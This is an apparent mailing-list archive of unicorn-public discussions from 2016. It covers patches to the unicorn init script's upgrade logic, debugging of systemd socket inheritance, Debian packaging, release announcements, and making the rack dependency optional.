+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: Start/stop unicorn Rack app server
+### END INIT INFO
+
# Example init script, this can be used with nginx, too,
-# since nginx and unicorn accept the same signals
+# since nginx and unicorn accept the same signals.
# Feel free to change any of the following variables for your app:
TIMEOUT=${TIMEOUT-60}
@@ -9,21 +18,22 @@ APP_ROOT=/home/x/my_app/current
PID=$APP_ROOT/tmp/pids/unicorn.pid
CMD="/usr/bin/unicorn -D -c $APP_ROOT/config/unicorn.rb"
INIT_CONF=$APP_ROOT/config/init.conf
+UPGRADE_DELAY=${UPGRADE_DELAY-2}
action="$1"
set -u
test -f "$INIT_CONF" && . $INIT_CONF
-old_pid="$PID.oldbin"
+OLD="$PID.oldbin"
cd $APP_ROOT || exit 1
sig () {
- test -s "$PID" && kill -$1 `cat $PID`
+ test -s "$PID" && kill -$1 $(cat $PID)
}
oldsig () {
- test -s $old_pid && kill -$1 `cat $old_pid`
+ test -s "$OLD" && kill -$1 $(cat $OLD)
}
case $action in
@@ -45,18 +55,36 @@ restart|reload)
$CMD
;;
upgrade)
- if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
+ if oldsig 0
+ then
+ echo >&2 "Old upgraded process still running with $OLD"
+ exit 1
+ fi
+
+ cur_pid=
+ if test -s "$PID"
+ then
+ cur_pid=$(cat $PID)
+ fi
+
+ if test -n "$cur_pid" &&
+ kill -USR2 "$cur_pid" &&
+ sleep $UPGRADE_DELAY &&
+ new_pid=$(cat $PID) &&
+ test x"$new_pid" != x"$cur_pid" &&
+ kill -0 "$new_pid" &&
+ kill -QUIT "$cur_pid"
then
n=$TIMEOUT
- while test -s $old_pid && test $n -ge 0
+ while kill -0 "$cur_pid" 2>/dev/null && test $n -ge 0
do
printf '.' && sleep 1 && n=$(( $n - 1 ))
done
echo
- if test $n -lt 0 && test -s $old_pid
+ if test $n -lt 0 && kill -0 "$cur_pid" 2>/dev/null
then
- echo >&2 "$old_pid still exists after $TIMEOUT seconds"
+ echo >&2 "$cur_pid still running after $TIMEOUT seconds"
exit 1
fi
exit 0
--
EW
^ permalink raw reply related [relevance 2%]
* Re: [PATCH] `unicorn upgrade` script resilience against exceptions
2016-06-07 13:41 0% ` [PATCH] `unicorn upgrade` script resilience against exceptions Eric Wong
@ 2016-06-07 15:17 0% ` Jesper Rønn-Jensen
2016-06-07 21:13 2% ` [PATCH] examples/init.sh: update to reduce upgrade raciness Eric Wong
0 siblings, 1 reply; 200+ results
From: Jesper Rønn-Jensen @ 2016-06-07 15:17 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Thanks for input.
I will close this issue and wait for your patch later, then.
Will also close pull-request I put at github with reference to this thread.
PS. Thanks for tip on HTML vs Plain text mails. Didn't know Gmail
could send plain text :)
On Tue, Jun 7, 2016 at 3:41 PM, Eric Wong <e@80x24.org> wrote:
> Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
>> This is actually a change proposal "by accident". But first, some
>> background:
>
> Please don't send HTML mail. I guess the bounce message didn't
> include the reason for the bounce, but should be fixed; now;
> and the bounce will tell you to not send HTML.
>
> Anyways if you stick to old-school Usenet/mailing list posting
> conventions, I'm more than happy to help you :)
>
>> My server uses a standard version of this `init.sh` script. I found that
>> executing `unicorn upgrade` often gives me problems.
>
> Hm... I haven't looked at that script in a while given all
> the new-fangled init replacements...
>
>> For example, it breaks my Capistrano deploy script to use `unicorn:upgrade`
>> to deploy. This is a shame, since it's the correct
>> command for Unicorn to pick up any code changes. But unicorn upgrade in the
>> script fails with messages like:
>>
>> ```
>> sudo /etc/init.d/unicorn upgrade
>> Couldn't upgrade, starting 'export HOME=/home/deploy ; cd
>> /var/www/my_app/current && /home/deploy/.rvm/wrappers/my_app/bundle exec
>> unicorn -D -c /var/www/my_app/shared/config/unicorn.rb -E production'
>> instead
>> master failed to start, check stderr log for details
>> ```
>>
>> And the stderror log:
>> ```
>> E, [2016-06-07T09:03:27.517267 #27583] ERROR -- : reaped #<Process::Status:
>> pid 27621 exit 1> exec()-ed
>> /var/www/my_app/shared/vendor/bundle/ruby/2.3.0/gems/unicorn-5.1.0/lib/unicorn/http_server.rb:195:in
>> `pid=': Already running on PID:27583 (or
>> pid=/var/www/my_app/shared/tmp/pids/unicorn.pid is stale)
>> (ArgumentError)
>> ```
>>
>> I am proposing this change because I misread the documentation for the
>> SIGNALS!
>> I thought that Unicorn itself sends a QUIT after all subprocesses has ended
>> via SIG USR2.
>>
>> The change is to remove the QUIT signal to the PID.oldbin process, and that
>> apparently stops all the failures I ran into. So I made this change on a
>> server, and it works!
>>
>> I just don't understand why, since reading the documentation again it says:
>> https://github.com/defunkt/unicorn/blob/d23d4713dc9ab9732c574f5aa34a4b6740b43164/SIGNALS#L35
>>
>> > * USR2 - reexecute the running binary. A separate QUIT
>> > should be sent to the original process once the child is verified to
>> > be up and running.
>>
>> So clearly, I should send the QUIT signal.
>
> Yes.
>
>> My goal is to have a resilient, robust deployment, where unicorn picks up
>> any code changes.
>
> Unfortunately, PID files have always been racy with USR2.
> Nowadays systemd is fairly standardized and seems to work
> pretty well for managing sockets and services.
>
> I'm still not a fan of some systemd things, but I think the socket
> activation part is very nice. Example @.service and .socket files
> are distributed nowadays:
>
> https://unicorn.bogomips.org/examples/unicorn@.service
> https://unicorn.bogomips.org/examples/unicorn.socket
>
>> Can you help me and enlighten me as to why this proposed change works?
>
> Anyways, things are racy in that script and increasing the
> "sleep 2" to a higher number will help if your system is really
> overloaded.
>
>> ---
>> examples/init.sh | 2 +-
>> 1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/examples/init.sh b/examples/init.sh
>> index 1f0e035..cbadc11 100644
>> --- a/examples/init.sh
>> +++ b/examples/init.sh
>> @@ -45,7 +45,7 @@ restart|reload)
>> $CMD
>> ;;
>> upgrade)
>> - if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
>> + if sig USR2 && sleep 2 && sig 0
>> then
>> n=$TIMEOUT
>> while test -s $old_pid && test $n -ge 0
>> --
>
> I actually wrote a better init script for a similar server,
> patch coming in a bit (or later, close to falling asleep).
--
Jesper Rønn-Jensen
Nine A/S
Mobile: +45 2989 1822
Blog http://justaddwater.dk/
jesperrr@gmail.com (Private e-mail and Google Talk IM)
^ permalink raw reply [relevance 0%]
* Re: [PATCH] `unicorn upgrade` script resilience against exceptions
[not found] <CAL-rKu6CZ731c=uHyZ8+Fg2fhC30e-3-J26XODacUK=YrfX+5Q@mail.gmail.com>
@ 2016-06-07 13:41 0% ` Eric Wong
2016-06-07 15:17 0% ` Jesper Rønn-Jensen
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-06-07 13:41 UTC (permalink / raw)
To: Jesper Rønn-Jensen; +Cc: unicorn-public
Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
> This is actually a change proposal "by accident". But first, some
> background:
Please don't send HTML mail. I guess the bounce message didn't
include the reason for the bounce, but should be fixed; now;
and the bounce will tell you to not send HTML.
Anyways if you stick to old-school Usenet/mailing list posting
conventions, I'm more than happy to help you :)
> My server uses a standard version of this `init.sh` script. I found that
> executing `unicorn upgrade` often gives me problems.
Hm... I haven't looked at that script in a while given all
the new-fangled init replacements...
> For example, it breaks my Capistrano deploy script to use `unicorn:upgrade`
> to deploy. This is a shame, since it's the correct
> command for Unicorn to pick up any code changes. But unicorn upgrade in the
> script fails with messages like:
>
> ```
> sudo /etc/init.d/unicorn upgrade
> Couldn't upgrade, starting 'export HOME=/home/deploy ; cd
> /var/www/my_app/current && /home/deploy/.rvm/wrappers/my_app/bundle exec
> unicorn -D -c /var/www/my_app/shared/config/unicorn.rb -E production'
> instead
> master failed to start, check stderr log for details
> ```
>
> And the stderror log:
> ```
> E, [2016-06-07T09:03:27.517267 #27583] ERROR -- : reaped #<Process::Status:
> pid 27621 exit 1> exec()-ed
> /var/www/my_app/shared/vendor/bundle/ruby/2.3.0/gems/unicorn-5.1.0/lib/unicorn/http_server.rb:195:in
> `pid=': Already running on PID:27583 (or
> pid=/var/www/my_app/shared/tmp/pids/unicorn.pid is stale)
> (ArgumentError)
> ```
>
> I am proposing this change because I misread the documentation for the
> SIGNALS!
> I thought that Unicorn itself sends a QUIT after all subprocesses has ended
> via SIG USR2.
>
> The change is to remove the QUIT signal to the PID.oldbin process, and that
> apparently stops all the failures I ran into. So I made this change on a
> server, and it works!
>
> I just don't understand why, since reading the documentation again it says:
> https://github.com/defunkt/unicorn/blob/d23d4713dc9ab9732c574f5aa34a4b6740b43164/SIGNALS#L35
>
> > * USR2 - reexecute the running binary. A separate QUIT
> > should be sent to the original process once the child is verified to
> > be up and running.
>
> So clearly, I should send the QUIT signal.
Yes.
> My goal is to have a resilient, robust deployment, where unicorn picks up
> any code changes.
Unfortunately, PID files have always been racy with USR2.
Nowadays systemd is fairly standardized and seems to work
pretty well for managing sockets and services.
I'm still not a fan of some systemd things, but I think the socket
activation part is very nice. Example @.service and .socket files
are distributed nowadays:
https://unicorn.bogomips.org/examples/unicorn@.service
https://unicorn.bogomips.org/examples/unicorn.socket
> Can you help me and enlighten me as to why this proposed change works?
Anyways, things are racy in that script and increasing the
"sleep 2" to a higher number will help if your system is really
overloaded.
> ---
> examples/init.sh | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/examples/init.sh b/examples/init.sh
> index 1f0e035..cbadc11 100644
> --- a/examples/init.sh
> +++ b/examples/init.sh
> @@ -45,7 +45,7 @@ restart|reload)
> $CMD
> ;;
> upgrade)
> - if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
> + if sig USR2 && sleep 2 && sig 0
> then
> n=$TIMEOUT
> while test -s $old_pid && test $n -ge 0
> --
I actually wrote a better init script for a similar server,
patch coming in a bit (or later, close to falling asleep).
^ permalink raw reply [relevance 0%]
* [ANN] unicorn 5.1.0 - Rack HTTP server for fast clients and *nix
@ 2016-04-01 0:43 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-04-01 0:43 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Adam Duke, Aaron Patterson
Unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* http://unicorn.bogomips.org/
* public list: unicorn-public@bogomips.org
* mail archives: http://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* http://unicorn.bogomips.org/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
unicorn 5.1.0 - rack is optional, again
Note: no code changes since 5.1.0.pre1 from January.^WNo, wait,
last minute performance improvement added today. See below.
The big change is rack is not required (but still recommended).
Applications are expected to depend on rack on their own so they can
specify the version of rack they prefer without unicorn pulling
in a newer, potentially incompatible version.
unicorn will always attempt to work with multiple versions of rack
as practical.
The HTTP parser also switched to using the TypedData C-API for
extra type safety and memory usage accounting support in the
'objspace' extension.
Thanks to Adam Duke to bringing the rack change to our attention
and Aaron Patterson for helping with the matter.
Last minute change: we now support the new leftpad() syscall under
Linux for major performance and security improvements:
http://mid.gmane.org/1459463613-32473-1-git-send-email-richard@nod.at
8^H9 changes since 5.0.1:
http: TypedData C-API conversion
various documentation updates
doc: bump olddoc to ~> 1.2 for extra NNTP URL
rack is optional at runtime, required for dev
doc update for ClientShutdown exceptions class
unicorn 5.1.0.pre1 - rack is optional, again
doc: reference --keep-file-descriptors for "bundle exec"
doc: further trimming to reduce noise
use leftpad Linux syscall for speed!
^ permalink raw reply [relevance 3%]
* Re: Systemd socket inheritance fails with “not a socket file descriptor”
2016-03-08 7:45 0% ` Amir Yalon
@ 2016-03-08 17:39 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-03-08 17:39 UTC (permalink / raw)
To: Amir Yalon; +Cc: unicorn-public
Amir Yalon <amiryal@yxejamir.net> wrote:
> Interesting. With the testing patch applied, we’re now failing this
> test in thread_pthread.c:
> http://bogomips.org/mirrors/ruby.git/tree/thread_pthread.c#n1720
> Which then raises the following exception in io.c:
> http://bogomips.org/mirrors/ruby.git/tree/io.c#n7621
>
> From the journal:
> app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in
> `for_fd': The given fd is not accessible because RubyVM reserves it
> (ArgumentError)
That should not happen. So I wonder if LISTEN_FDS is set to
the wrong number, somehow.
How many sockets are you activating? LISTEN_FDS should match
that number.
Can you dump out the inherited, and LISTEN_* env variables with
the following?
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -776,6 +776,8 @@ def inherit_listeners!
end
# to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
+ $stderr.write("I=#{inherited.inspect} PID=#{sd_pid} FDS=#{sd_fds}\n")
+
inherited.map! do |fd|
io = Socket.for_fd(fd.to_i)
io.autoclose = false
Thanks.
> > Also, can you verify the UNICORN_FD env is NOT set by systemd?
> > (It should not be)
> Verified, not set.
>
> > Also, for reference, which version of systemd is this?
> Ubuntu Wily 15.10, systemd 225-1ubuntu9
I'll try to test with a newer version this week(*) if the above
can't figure it out.
* maybe Thursday/Friday, my connectivity is inconsistent
^ permalink raw reply [relevance 3%]
* Re: Systemd socket inheritance fails with “not a socket file descriptor”
2016-03-08 3:31 2% ` Eric Wong
@ 2016-03-08 7:45 0% ` Amir Yalon
2016-03-08 17:39 3% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Amir Yalon @ 2016-03-08 7:45 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Interesting. With the testing patch applied, we’re now failing this
test in thread_pthread.c:
http://bogomips.org/mirrors/ruby.git/tree/thread_pthread.c#n1720
Which then raises the following exception in io.c:
http://bogomips.org/mirrors/ruby.git/tree/io.c#n7621
From the journal:
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in
`for_fd': The given fd is not accessible because RubyVM reserves it
(ArgumentError)
from
/home/deploy/src/git/sapi/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in
`block in inherit_listeners!'
from
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:779:in
`map!'
from
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:779:in
`inherit_listeners!'
from
app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:111:in
`start'
> Also, can you verify the UNICORN_FD env is NOT set by systemd?
> (It should not be)
Verified, not set.
> Also, for reference, which version of systemd is this?
Ubuntu Wily 15.10, systemd 225-1ubuntu9
Thanks,
Amir
^ permalink raw reply [relevance 0%]
* Re: Systemd socket inheritance fails with “not a socket file descriptor”
2016-03-07 23:08 3% Systemd socket inheritance fails with “not a socket file descriptor” Amir Yalon
@ 2016-03-08 3:31 2% ` Eric Wong
2016-03-08 7:45 0% ` Amir Yalon
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-03-08 3:31 UTC (permalink / raw)
To: Amir Yalon; +Cc: unicorn-public
Amir Yalon <amiryal@yxejamir.net> wrote:
> Starting the systemd service with a configuration based on
> http://bogomips.org/unicorn-public/20150708130821.GA1361@luke.ws.skroutz.gr/
> (also found under examples/ in the source code), it fails, and the
> following is seen in the systemd journal:
>
> > app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in `for_fd': not a socket file descriptor (ArgumentError)
<snip>
> The error, in `for_fd': not a socket file descriptor (ArgumentError),
> occurs when attempting `io = Socket.for_fd(fd.to_i)`.
Curious, that means it's failing at the S_ISSOCK at line 53:
http://bogomips.org/mirrors/ruby.git/tree/ext/socket/init.c?h=v2_0_0_645#n53
fstat() says it's a valid FD, but not a socket. Maybe IO.for_fd
can enlighten us as to what you're getting if it's not a socket.
Can you try the following change to http_server.rb to dump out
the stat info of the FD that's failing?
It'll still fail at Socket.for_fd, but IO.for_fd should not fail
since fstat() already succeeded.
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -777,6 +777,9 @@ def inherit_listeners!
# to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
inherited.map! do |fd|
+ io = IO.for_fd(fd.to_i)
+ io.autoclose = false
+ $stderr.write("fd=#{fd.inspect} #{io.stat.inspect}\n")
io = Socket.for_fd(fd.to_i)
io.autoclose = false
io = server_cast(io)
Also, can you verify the UNICORN_FD env is NOT set by systemd?
(It should not be)
Thanks.
> Using Ruby version 2.0.0p645. Should I try using 2.2 or later?
If it's easy, sure; but I just tried with 2.0.0-p645 without
problems; so I would try making the change above and verifying
UNICORN_FD is not set when systemd is being used, first.
Ruby itself could not emulate systemd behavior for testing until
2.3.0, but the actual functionality of unicorn w/ systemd should
not be diminished with a real systemd with older Rubies.
Also, for reference, which version of systemd is this?
I checked the latest systemd.git but didn't notice any changes
which would break the expectations of our sd_listen_fds(3)
function emulation:
git clone https://github.com/systemd/systemd.git
cd systemd && git log -p src/libsystemd/sd-daemon/
But maybe I missed something...
Fwiw, I tested on Debian jessie w/ systemd 215-17+deb8u3
^ permalink raw reply [relevance 2%]
* Systemd socket inheritance fails with “not a socket file descriptor”
@ 2016-03-07 23:08 3% Amir Yalon
2016-03-08 3:31 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Amir Yalon @ 2016-03-07 23:08 UTC (permalink / raw)
To: unicorn-public
Hi,
I have yet to compile a minimal failing configuration, but posting here
in case it’s a common problem.
Starting the systemd service with a configuration based on
http://bogomips.org/unicorn-public/20150708130821.GA1361@luke.ws.skroutz.gr/
(also found under examples/ in the source code), it fails, and the
following is seen in the systemd journal:
> app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in `for_fd': not a socket file descriptor (ArgumentError)
> from app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:780:in `block in inherit_listeners!'
> from app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:779:in `map!'
> from app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:779:in `inherit_listeners!'
> from app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/lib/unicorn/http_server.rb:111:in `start'
> from app/vendor/bundle/ruby/2.0.0/gems/unicorn-5.0.1/bin/unicorn:126:in `<top (required)>'
> from app/vendor/bundle/ruby/2.0.0/bin/unicorn:23:in `load'
> from app/vendor/bundle/ruby/2.0.0/bin/unicorn:23:in `<main>'
The error, in `for_fd': not a socket file descriptor (ArgumentError),
occurs when attempting `io = Socket.for_fd(fd.to_i)`.
Using Ruby version 2.0.0p645. Should I try using 2.2 or later?
Thanks,
Amir
^ permalink raw reply [relevance 3%]
* Re: RFS: unicorn
2016-02-12 21:34 0% ` RFS: unicorn Eric Wong
@ 2016-02-14 5:52 0% ` Pirate Praveen
0 siblings, 0 replies; 200+ results
From: Pirate Praveen @ 2016-02-14 5:52 UTC (permalink / raw)
To: debian-ruby; +Cc: unicorn-public
On 2016, ഫെബ്രുവരി 13 3:04:11 AM IST, Eric Wong <e@80x24.org> wrote:
>Christian Hofstaedtler <zeha@debian.org> wrote:
>> Hleb,
>>
>>
>> * Rahulkrishnan R A <rahulkrishnanfs@gmail.com> [160212 16:52]:
>> > I have updated unicorn to the latest version. It is lintian clean
>and
>> > tested with pbuilder. Further information about this package can be
>> > accessed from the URL :
>> > *https://anonscm.debian.org/cgit/pkg-ruby-extras/unicorn.git
>>
>> I'd value your feedback on this.
>
>(upstream chiming in, too; +Cc unicorn-public@bogomips.org :)
>
>Can you take a look at updating the debian/unicorn.service to be
>based on the examples/unicorn@.service and examples/unicorn.socket
>files in v5.0.1 upstream?
I think we should make a way to manage multiple applications like how nginx or apache allows multiple sites by just adding files to /etc/nginx or apache/sites-available.
We could make /etc/unicorn/apps-available and any .rb file placed there will be considered config for an app.
When an app is enabled by adding a link to /etc/unicorn/apps-enabled, unicorn service will start that app.
We can provide a default app if there is value for that or not start any apps.
>I'm no systemd expert, but the @.service file allowing multiple
>instances makes more sense to me since USR2 upgrades won't work
>well under systemd.
>
>And of course socket activation rocks :>
>
>ref:
>http://bogomips.org/unicorn-public/?q=%27s%3Anative+systemd+service%27&x=t
--
Sent from my Android device with K-9 Mail. Please excuse my brevity.
^ permalink raw reply [relevance 0%]
* Re: RFS: unicorn
[not found] ` <20160212183137.GA15177@percival.namespace.at>
@ 2016-02-12 21:34 0% ` Eric Wong
2016-02-14 5:52 0% ` Pirate Praveen
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-02-12 21:34 UTC (permalink / raw)
To: debian-ruby
Cc: Rahulkrishnan R A, Hleb Valoshka, Christian Hofstaedtler,
unicorn-public
Christian Hofstaedtler <zeha@debian.org> wrote:
> Hleb,
>
>
> * Rahulkrishnan R A <rahulkrishnanfs@gmail.com> [160212 16:52]:
> > I have updated unicorn to the latest version. It is lintian clean and
> > tested with pbuilder. Further information about this package can be
> > accessed from the URL :
> > *https://anonscm.debian.org/cgit/pkg-ruby-extras/unicorn.git
>
> I'd value your feedback on this.
(upstream chiming in, too; +Cc unicorn-public@bogomips.org :)
Can you take a look at updating the debian/unicorn.service to be
based on the examples/unicorn@.service and examples/unicorn.socket
files in v5.0.1 upstream?
I'm no systemd expert, but the @.service file allowing multiple
instances makes more sense to me since USR2 upgrades won't work
well under systemd.
And of course socket activation rocks :>
ref:
http://bogomips.org/unicorn-public/?q=%27s%3Anative+systemd+service%27&x=t
^ permalink raw reply [relevance 0%]
* [ANN] unicorn 5.1.0.pre1 - Rack HTTP server for fast clients and *nix
@ 2016-01-27 23:16 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-01-27 23:16 UTC (permalink / raw)
To: ruby-talk, unicorn-public
Unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* http://unicorn.bogomips.org/
* public list: unicorn-public@bogomips.org
* mail archives: http://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* http://unicorn.bogomips.org/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
This is a pre-release, you will need to specify the version to
install explicitly when using RubyGems.
Changes:
unicorn 5.1.0.pre1 - rack is optional, again
The big change is rack is not required (but still recommended).
Applications are expected to depend on rack on their own so they can
specify the version of rack they prefer without unicorn pulling
in a newer, potentially incompatible version.
unicorn will always attempt to work with multiple versions of rack
as practical.
The HTTP parser also switched to using the TypedData C-API for
extra type safety and memory usage accounting support in the
'objspace' extension.
Thanks to Adam Duke to bringing the rack change to our attention
and Aaron Patterson for helping with the matter.
There might be more documentation-related changes before 5.1.0
final. I am considering dropping pandoc from manpage generation
and relying on pod2man (from Perl) because it has a wider install
base.
5 changes since v5.0.1:
http: TypedData C-API conversion
various documentation updates
doc: bump olddoc to ~> 1.2 for extra NNTP URL
rack is optional at runtime, required for dev
doc update for ClientShutdown exceptions class
^ permalink raw reply [relevance 4%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-21 20:12 12% ` Eric Wong
2016-01-21 22:09 6% ` Aaron Patterson
@ 2016-01-27 0:47 9% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2016-01-27 0:47 UTC (permalink / raw)
To: unicorn-public; +Cc: Adam Duke, Aaron Patterson
Eric Wong <e@80x24.org> wrote:
> I prefer we drop the rack dependency entirely. We don't use rack
> for much. This seems doable, (totally untested) patch below:
(removed rack-devel from Cc:)
Tested and pushed to unicorn.git master with minor changes
as commit 3d69a6f064078eeb28c1819725d3715ce6905374
* use nil instead of '[]' for empty splat to reduce garbage
* rack is a development dependency, not removed as a dep entirely
http://bogomips.org/unicorn.git/patch?id=3d69a6f064078
Subject: rack is optional at runtime, required for dev
We do not want to pull in a newer or older version of rack depending
on an the application running under it requires. Furthermore, it
has always been possible to use unicorn without any middleware at
all.
Without rack, we'll be missing descriptive status text in the first
response line, but any valid HTTP/1.x parser should be able to
handle it properly.
ref:
http://bogomips.org/unicorn-public/20160121201255.GA6186@dcvr.yhbt.net/t/#u
Thanks-to: Adam Duke <adam.v.duke@gmail.com>
Thanks-to: Aaron Patterson <tenderlove@ruby-lang.org>
^ permalink raw reply [relevance 9%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-21 20:12 12% ` Eric Wong
@ 2016-01-21 22:09 6% ` Aaron Patterson
2016-01-27 0:47 9% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Aaron Patterson @ 2016-01-21 22:09 UTC (permalink / raw)
To: rack-devel; +Cc: Adam Duke, Aaron Patterson, unicorn-public
On Thu, Jan 21, 2016 at 08:12:55PM +0000, Eric Wong wrote:
> Adam Duke <adamduke@twitter.com> wrote:
> > Following up on this, it seems to me like keeping the Ruby 2.2.2
> > requirement is the right way to go for rack. If the unicorn project
> > wants to continue support for older rubies, the unicorn gemspec should
> > be changed to limit the rack dependency to '< 2'. If rack 2.0.0 is
> > released and there is no limit on the dependency in unicorn's gemspec,
> > it seems to me like any deployments that are not running Ruby 2.2.2
> > will fail.
>
> I prefer we drop the rack dependency entirely. We don't use rack
> for much. This seems doable, (totally untested) patch below:
[snip]
Ah, that was a much smaller patch than I had anticipated! :D
--
Aaron Patterson
http://tenderlovemaking.com/
^ permalink raw reply [relevance 6%]
* Re: [PATCH] limit rack version for ruby compatibility
2016-01-21 17:12 14% ` Adam Duke
@ 2016-01-21 20:12 12% ` Eric Wong
2016-01-21 22:09 6% ` Aaron Patterson
2016-01-27 0:47 9% ` Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2016-01-21 20:12 UTC (permalink / raw)
To: Adam Duke; +Cc: Aaron Patterson, rack-devel, unicorn-public
Adam Duke <adamduke@twitter.com> wrote:
> Following up on this, it seems to me like keeping the Ruby 2.2.2
> requirement is the right way to go for rack. If the unicorn project
> wants to continue support for older rubies, the unicorn gemspec should
> be changed to limit the rack dependency to '< 2'. If rack 2.0.0 is
> released and there is no limit on the dependency in unicorn's gemspec,
> it seems to me like any deployments that are not running Ruby 2.2.2
> will fail.
I prefer we drop the rack dependency entirely. We don't use rack
for much. This seems doable, (totally untested) patch below:
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index b0e6bd1..a3eae5e 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,9 +1,14 @@
# -*- encoding: binary -*-
require 'etc'
require 'stringio'
-require 'rack'
require 'kgio'
+begin
+ require 'rack'
+rescue LoadError
+ warn 'rack not available, functionality reduced'
+end
+
# :stopdoc:
# Unicorn module containing all of the classes (include C extensions) for
# running a Unicorn web server. It contains a minimalist HTTP server with just
@@ -32,6 +37,9 @@ module Unicorn
def self.builder(ru, op)
# allow Configurator to parse cli switches embedded in the ru file
op = Unicorn::Configurator::RACKUP.merge!(:file => ru, :optparse => op)
+ if ru =~ /\.ru$/ && !defined?(Rack::Builder)
+ abort "rack and Rack::Builder must be available for processing #{ru}"
+ end
# Op is going to get cleared before the returned lambda is called, so
# save this value so that it's still there when we need it:
@@ -53,32 +61,33 @@ def self.builder(ru, op)
return inner_app if no_default_middleware
+ middleware = { # order matters
+ ContentLength: [],
+ Chunked: [],
+ CommonLogger: [ $stderr ],
+ ShowExceptions: [],
+ Lint: [],
+ TempfileReaper: []
+ }
+
# return value, matches rackup defaults based on env
# Unicorn does not support persistent connections, but Rainbows!
# and Zbatery both do. Users accustomed to the Rack::Server default
# middlewares will need ContentLength/Chunked middlewares.
case ENV["RACK_ENV"]
when "development"
- Rack::Builder.new do
- use Rack::ContentLength
- use Rack::Chunked
- use Rack::CommonLogger, $stderr
- use Rack::ShowExceptions
- use Rack::Lint
- use Rack::TempfileReaper if Rack.const_defined?(:TempfileReaper)
- run inner_app
- end.to_app
when "deployment"
- Rack::Builder.new do
- use Rack::ContentLength
- use Rack::Chunked
- use Rack::CommonLogger, $stderr
- use Rack::TempfileReaper if Rack.const_defined?(:TempfileReaper)
- run inner_app
- end.to_app
+ middleware.delete(:ShowExceptions)
+ middleware.delete(:Lint)
else
- inner_app
+ return inner_app
end
+ Rack::Builder.new do
+ middleware.each do |m, args|
+ use(Rack.const_get(m), *args) if Rack.const_defined?(m)
+ end
+ run inner_app
+ end.to_app
end
end
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 7b446c2..ec128e4 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -10,10 +10,13 @@
# is the job of Rack, with the exception of the "Date" and "Status" header.
module Unicorn::HttpResponse
+ STATUS_CODES = defined?(Rack::Utils::HTTP_STATUS_CODES) ?
+ Rack::Utils::HTTP_STATUS_CODES : {}
+
# internal API, code will always be common-enough-for-even-old-Rack
def err_response(code, response_start_sent)
"#{response_start_sent ? '' : 'HTTP/1.1 '}" \
- "#{code} #{Rack::Utils::HTTP_STATUS_CODES[code]}\r\n\r\n"
+ "#{code} #{STATUS_CODES[code]}\r\n\r\n"
end
# writes the rack_response to socket as an HTTP response
@@ -23,7 +26,7 @@ def http_response_write(socket, status, headers, body,
if headers
code = status.to_i
- msg = Rack::Utils::HTTP_STATUS_CODES[code]
+ msg = STATUS_CODES[code]
start = response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
